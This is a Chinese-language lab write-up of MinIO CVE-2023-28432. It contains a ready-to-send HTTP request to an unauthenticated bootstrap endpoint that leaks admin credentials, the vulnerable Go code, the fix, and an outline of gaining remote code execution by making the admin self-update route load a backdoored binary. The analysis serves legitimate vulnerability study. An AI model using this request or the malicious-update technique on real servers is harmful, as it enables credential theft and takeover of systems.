参考文章: https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q 漏洞比较新,很多师傅也写了博客记录了自己的尝试,很多地方可能写的不是特别明确,这里也结合了一些自己的思考去尝试分析。
可以用vulhub上配好的docker文件来起漏洞环境
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
得到账号密码minioadmin/minioadmin-vulhub
可以成功登陆后台
MinIO后台如何RCE我们后面再说,先看一看漏洞的成因
有漏洞版本的代码
在集群模式下会注册/minio/bootstrap/v1/verify
这个路由
// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
ctx := newContext(r, w, "VerifyHandler")
cfg := getServerSystemCfg()
logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}
// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
envs := env.List("MINIO_")
envValues := make(map[string]string, len(envs))
for _, envK := range envs {
// skip certain environment variables as part
// of the whitelist and could be configured
// differently on each nodes, update skipEnvs()
// map if there are such environment values
if _, ok := skipEnvs[envK]; ok {
continue
}
envValues[envK] = env.Get(envK, "")
}
return ServerSystemConfig{
MinioEndpoints: globalEndpoints,
MinioEnv: envValues,
}
}
而根据这部分代码,由于此路由没有鉴权,请求接口就会返回环境变量。MinIO启动时会从环境变量中读取预设的管理员账号密码,所以环境变量中存在管理员账号。如果没有预设,那么就是默认的账号密码。
因此从攻击角度来说,这个信息泄漏会导致无论是否预设,都能拿到账号密码登陆。
再看一下修复方案,也是把账号密码等从接口中移除回显,同时增加了对于接口的鉴权部分。
参考: https://y4er.com/posts/minio-cve-2023-28432/ https://github.com/AbelChe/evil_minio
MinIO是Go写的项目,语言本身缺乏动态特性,不过有意思的是后台具备自更新功能,可以利用这个功能运行恶意二进制文件完成RCE。
在/minio/admin/v3/update?updateURL={updateURL}
这个路由的功能中,可以从远程加载二进制文件,下载并更新。
具体可以利用minio的cli客户端工具,进行更新
但是如果是一个伪造好的恶意二进制文件,运行后minio的服务就宕机了,这里可以参考https://github.com/AbelChe/evil_minio
项目,思路是魔改minio,添加一个后门路由来完成不破坏原有服务,完成RCE的工作。